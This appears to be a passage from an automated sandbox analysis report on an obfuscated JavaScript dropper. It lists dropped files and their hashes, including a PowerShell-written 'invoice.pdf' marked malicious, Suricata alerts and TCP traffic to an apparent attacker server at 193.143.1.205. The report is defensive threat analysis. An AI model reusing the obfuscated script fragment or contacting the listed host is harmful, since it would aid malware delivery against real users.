Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\88ba5a1b-19e4-425f-9bad-16602a77a3d0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\fea76db8-d91b-4195-bf94-19448b9b7344.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15993), with CRLF line terminators
Entropy (8bit):	4.926326427075754
TrID:
File name:	10965191911914222758.js
File size:	19'637 bytes
MD5:	817eecd4d5fbcf3224a451445846c7db
SHA1:	ab37cb426082e0828e09f24a34afee54a79a7c26
SHA256:	68d6fd3f879cc070fa65aabacfad5c47cf74808cd31d57a6c400447379d522fb
SHA512:	8828c1ec944ad3e32f4fdfc3bc9136e10f08fda9c4e164aece698d7a76c561363a019a03497ce13abe0d7b77996f1568a6fe024ed6b825e075995d2a4b84fb2f
SSDEEP:	384:1xa1SNtlVIIC1nNbrxCliNWIj3IjYftgsxPDTIb:1wAFu1FNWIj3IjYftgsx/6
TLSH:	1692534CF9844CA35ADE80E152E248F362EC71489B1A4CC6F40319D5D7599B6B8EBB3C
File Content Preview:	function oooftfv(){sfaiaokyb=[1031,3079,5127,4103,2055,3072];var rkttxiwq=this[dywegys+tcnhezcm+dtbdgpsyg+jkwybiqxb+jvjtcvsqt+emoqqifl+svpjdoio+rmblwrx](this[dcveid+bcydiyl+upghtoicv+dtbdgpsyg+spjoag+dywegys+rmblwrx][werpowtx+dtbdgpsyg+jvjtcvsqt+tcnhezcm+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:51:41.851009+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.12	49710	193.143.1.205	80	TCP
2025-01-10T22:51:44.418061+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.12	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:51:41.021146059 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.025953054 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.026292086 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.028681993 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.033436060 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.850888968 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.850903988 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.850917101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.850924015 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.850948095 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.850996017 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.851006985 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.851008892 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.851030111 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.851063013 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.851074934 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.851089001 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.851109028 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.851144075 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.856009007 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.856029034 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.856044054 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.856101036 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.914508104 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.914525032 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.914539099 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.914669991 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.965117931 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.967430115 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.967453957 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.967545033 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.967547894 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.967571974 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.967587948 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.967612028 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.967642069 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.967683077 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.968192101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.968218088 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.968231916 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.968261957 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.968583107 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.968643904 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.968647003 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.968662024 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.968699932 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.968734026 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.968748093 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.968789101 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.969491959 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.969579935 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.969594955 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.969610929 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.969619989 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.969625950 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.969647884 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:41.970386028 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:41.970434904 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.003201008 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.003223896 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.003238916 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.003253937 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.003417969 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.003417969 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.082628965 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.082653999 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.082667112 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.082755089 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.095474005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.095494032 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.095565081 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.095808983 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.095854044 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.095871925 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.095885992 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.095922947 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.095952988 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.095966101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.096009970 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.096369028 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.096384048 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.096432924 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.096618891 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.096669912 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.096683979 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.096716881 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.096821070 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.096836090 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.096862078 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.097481966 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.097511053 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.097523928 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.097524881 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.097569942 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.097585917 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.097637892 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.097677946 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.098386049 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.098414898 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.098429918 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.098453999 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.098570108 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.098582983 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.098613024 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.099359989 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.099375010 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.099386930 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.099456072 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.099469900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.099469900 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.099469900 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.099513054 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.100249052 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.100275993 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.100291014 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.100305080 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.100317955 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.100320101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.100346088 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.101068020 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.101097107 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.101121902 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.109775066 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.109793901 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.109808922 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.109858036 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.109870911 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.109900951 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.109935999 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.109945059 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.109958887 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.110011101 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.172046900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.172066927 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.172081947 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.172132969 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.202059984 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.202104092 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.202121019 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.202127934 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.202135086 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.202292919 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.202292919 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.216918945 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.216937065 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.216949940 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.216976881 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.217035055 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.217195034 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.217247009 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.217261076 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.217289925 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.217561007 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.217603922 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.217612028 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.217626095 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.217667103 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.218082905 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.218125105 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.218137980 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.218149900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.218163013 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.218164921 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.218195915 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.218828917 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.218844891 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.218858004 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.218892097 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.218909979 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.218916893 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.218925953 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.218966961 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.219669104 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.219717026 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.219731092 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.219760895 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.219799042 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.219811916 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.219844103 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.220674992 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.220698118 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.220712900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.220717907 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.220736027 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.220750093 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.220751047 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.220839024 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.221477032 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.221506119 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.221520901 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.221545935 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.221595049 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.221607924 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.221632957 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.222368956 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.222398043 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.222412109 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.222433090 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.222450018 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.222498894 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.222512960 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.222553968 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.223344088 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.223362923 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.223376989 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.223388910 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.223401070 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.223444939 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.224020958 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.224031925 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.224045038 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.224069118 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.224138021 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.224150896 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.224179983 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.224996090 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.225011110 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.225024939 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.225035906 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.225039959 CET	80	49710	193.143.1.205	192.168.2.12
